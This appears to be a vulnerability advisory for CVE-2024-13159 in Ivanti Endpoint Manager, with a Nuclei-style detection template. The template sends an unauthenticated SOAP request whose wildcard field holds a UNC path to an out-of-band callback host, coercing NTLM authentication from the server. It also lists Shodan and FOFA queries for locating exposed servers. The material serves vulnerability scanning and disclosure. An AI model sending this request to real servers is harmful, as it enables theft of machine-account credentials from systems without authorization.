CVE-2024-13159: Ivanti EPM - Credential Coercion Vulnerability in GetHashForWildcardRecursive

2025-08-01 Ivanti EPM PoC Public

Description

A vulnerability in Ivanti Endpoint Manager (EPM) allows an unauthenticated attacker to coerce the EPM machine account credential via the GetHashForWildcardRecursive endpoint. The vulnerability exists due to improper input validation in the wildcard parameter, allowing an attacker to specify a remote UNC path that triggers NTLM authentication.

PoC

id: CVE-2024-13159

info:
  name: Ivanti EPM - Credential Coercion Vulnerability in GetHashForWildcardRecursive
  author: ritikchaddha
  severity: critical
  description: |
    A vulnerability in Ivanti Endpoint Manager (EPM) allows an unauthenticated attacker to coerce the EPM machine account credential via the GetHashForWildcardRecursive endpoint. The vulnerability exists due to improper input validation in the wildcard parameter, allowing an attacker to specify a remote UNC path that triggers NTLM authentication.
  impact: |
    Unauthenticated attackers can coerce NTLM authentication from the EPM server via UNC paths, allowing credential theft through man-in-the-middle attacks.
  remediation: |
    Update Ivanti Endpoint Manager (EPM) to a patched version that addresses CVE-2024-13159.
  reference:
    - https://www.horizon3.ai/attack-research/attack-blogs/ivanti-endpoint-manager-multiple-credential-coercion-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13159
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-13159
    cwe-id: CWE-36
    epss-score: 0.99992
    epss-percentile: 0.99987
  metadata:
    max-request: 1
    shodan-query: http.favicon.hash:362091310
    fofa-query: icon_hash="362091310"
  tags: cve,cve2024,ivanti,epm,ntlm,traversal,kev,vkev,vuln

variables:
  file: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /WSVulnerabilityCore/VulCore.asmx HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: text/xml
        Soapaction: http://tempuri.org/GetHashForWildcardRecursive

        <?xml version="1.0" encoding="utf-8"?>
        <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
            <soap:Body>
                <GetHashForWildcardRecursive xmlns="http://tempuri.org/">
                    <wildcard>\\{{interactsh-url}}\tmp\{{file}}.txt</wildcard>
                </GetHashForWildcardRecursive>
            </soap:Body>
        </soap:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(body, "<GetHashForWildcardRecursiveResponse")'
          - 'contains(content_type, "text/xml")'
          - 'status_code == 200'
        condition: and
# digest: 490a00463044022038f64712acdc5c89a8c763f04aa1c505609916bb5343753a6b35ea330ce1145502204d4beb6fc999d9895de04c4f47fe41bced37539d9c5f34accde03a4967510b80:922c64590222798bb761d5b6d8e72950

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